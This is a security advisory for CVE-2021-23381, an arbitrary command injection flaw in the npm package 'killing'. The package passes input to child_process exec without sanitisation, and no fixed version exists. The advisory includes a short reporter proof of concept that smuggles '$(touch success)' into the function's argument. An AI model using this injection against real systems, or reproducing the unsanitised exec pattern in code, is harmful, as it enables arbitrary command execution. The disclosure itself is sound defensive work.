CVE-2021-23381 Open this link in a new tabHow to fix?
There is no fixed version for killing.
Overview
killing is a Kill Process
Affected versions of this package are vulnerable to Arbitrary Command Injection. If attacker-controlled user input is given, it is possible for an attacker to execute arbitrary commands.
This is due to use of the child_process exec function without input sanitization.
PoC (provided by reporter):
var killing = require('killing');
killing('$(touch success)')
.then(function() {})
.catch(function() {});
(A file called success will be created as a result of the execution of touch success.)
